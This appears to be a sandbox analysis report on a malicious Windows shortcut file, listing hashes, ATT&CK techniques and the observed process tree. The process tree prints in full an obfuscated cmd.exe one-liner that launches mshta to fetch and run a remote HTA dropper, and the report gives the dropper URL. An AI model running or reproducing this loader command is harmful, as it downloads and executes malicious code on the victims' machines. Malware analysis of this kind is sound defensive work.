e4c7eb38c525422c0e6040e18e95150dd9b2b089c18838c7e454f31a8ce1e267

Analysis

max time kernel
148s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-9KCWSV.lnk
Size 2KB
Sample260804-j9gcbaar2w
SHA256 e4c7eb38c525422c0e6040e18e95150dd9b2b089c18838c7e454f31a8ce1e267
MD5 6288f5e4fcf97d54eec75692c88ea452
SHA1 1c3efacf28bc142d651e683b2f4d15d968f231ce
SHA512 700fa215ecb17c40edc72f76b7430b701e4d0d02afa9a6cd77f5e47df03ab06ac6689ce889b6737a7bc3b0d5242196d732716c57d005e0e9781134366ea1e42e
TLSH
T127419D402BEA01D8F27F9E72EEBE63684D7BB8516D30C55D0880804E1936F05E933B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1816	cmd.exe
4148	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 4148	1816	cmd.exe	90
PID 4148 wrote to memory of 2940	4148	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9KCWSV.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1816
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set Hu=oldllmavocrolujold&set TWRor=1h3msy&&set fyrE=4htk&&set msqJ=quaxr8&set Ihxj=bakinrvwphqsjsetembak&set wAhTN=cacheolnhcotfdbgbtoygcache&set RE=vustnc&&set aOch=cte&&set Bjo=z5artt2h&set AQ=bakgwcvthhqilprnbak&set IO=datdxdnrfaxqrdat&set PU=cfgkrnogscezfcfg&set yaUzO=dbgbqrnsdmmarddbg&&set sNCPp=https:@/@/m@a-@pd@ffill@e@r.@l@a@t/h@/@es@tagi@[email protected]@h@p?r@=3914@69FB5D82DB&&start /b !TWRor:~3,2!!fyrE:~1,2!!msqJ:~2,1! !sNCPp:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads